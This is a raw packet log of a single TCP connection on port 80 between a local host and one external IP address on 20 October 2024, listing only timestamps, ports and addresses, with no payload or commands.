Oct 20, 2024 08:40:06.127017021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127028942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127048969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127064943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127082109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127094984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127115011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127127886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127149105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127161980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127193928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127516985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127564907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127571106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127597094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127603054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127638102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127646923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127681017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127692938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127712965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127721071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127746105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127754927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127778053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127789974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127811909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127820969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127844095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127859116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127877951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127887011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127908945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127918005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127942085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127954960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.127979040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.127979994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128011942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128021955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128041983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128052950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128057957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128081083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128097057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128344059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128386021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128439903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128463030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128479004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128484964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128499031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128500938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128514051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128528118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128530025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128535032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128545046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128546000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128561020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128563881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128596067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128596067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128887892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128901958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128916979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.128927946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128942966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.128961086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129040956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129055023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129070044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129081011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129085064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129098892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129101038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129111052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129116058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129128933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129129887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129144907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129146099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129158020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129158974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129179955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129184008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129208088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129209995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129223108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129235983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129237890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129251957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129254103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129266977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129272938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129281998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129290104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129297018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129312038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129316092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129327059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129340887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129342079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129355907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129367113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129369974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129380941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129386902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.129410982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.129434109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.156984091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.157032967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.157056093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.157064915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.157074928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.157098055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.157133102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.157145023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.157160997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.157177925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.157202959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312288046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312342882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312372923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312374115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312388897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312407017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312417030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312442064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312454939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312474012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312489033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312508106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312524080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312557936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312557936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312611103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312706947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312753916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312756062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312788963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312798977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312819958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312834978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312854052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.312870026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.312902927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610183954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610260963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610301971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610352993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610357046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610388041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610404968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610421896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610470057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610502958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610519886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610537052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610570908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610582113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610604048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610620975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610625029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610671997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610678911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610713005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610719919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610744953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610759974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610796928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610797882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610830069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610846043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610862017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610877037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610910892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610910892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610944033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.610965014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610990047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.610991955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611025095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611042976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611054897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611066103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611088037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611105919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611115932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611138105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611160994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611164093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611215115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611216068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611260891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611265898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611299038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611316919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611331940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611344099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611365080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611381054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611434937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611452103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611500978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611501932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611534119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611547947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611566067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611587048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611603022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611614943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611645937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611653090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611686945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611705065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611720085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611733913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611752033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611785889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611787081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611808062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611830950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611835957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611871958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611881018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611905098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611915112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611942053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.611951113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611982107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.611984015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612029076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612035036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612066031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612077951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612098932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612108946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612129927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612140894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612164021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612174988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612205982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612210989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612243891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612252951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612272978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612281084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612303972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612310886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612337112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612343073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612375975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612385988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612417936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612423897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612449884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612456083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612483978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612487078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612510920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612520933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612549067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612559080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612593889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612600088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612623930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612626076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612656116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612660885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612692118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612704039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612740040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612749100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612771034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612776995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612803936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612816095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612834930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612840891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612865925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612879038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612898111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612907887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612930059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612935066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612961054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.612977982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.612994909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613014936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613028049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613034964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613063097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613070965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613096952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613101006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613130093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613147974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613162041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613173962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613194942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613204956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613228083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613230944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613260031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613265038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613293886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613310099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613342047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613374949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613406897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613406897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613428116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613439083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613451004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613473892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613482952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613507032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613517046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613539934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613549948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613573074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613584042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613606930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613615990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613642931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613651037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613675117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613687038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613709927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613725901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.613743067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.613749027 CEST	49704	80	192.168.2.5	185.215.113.37
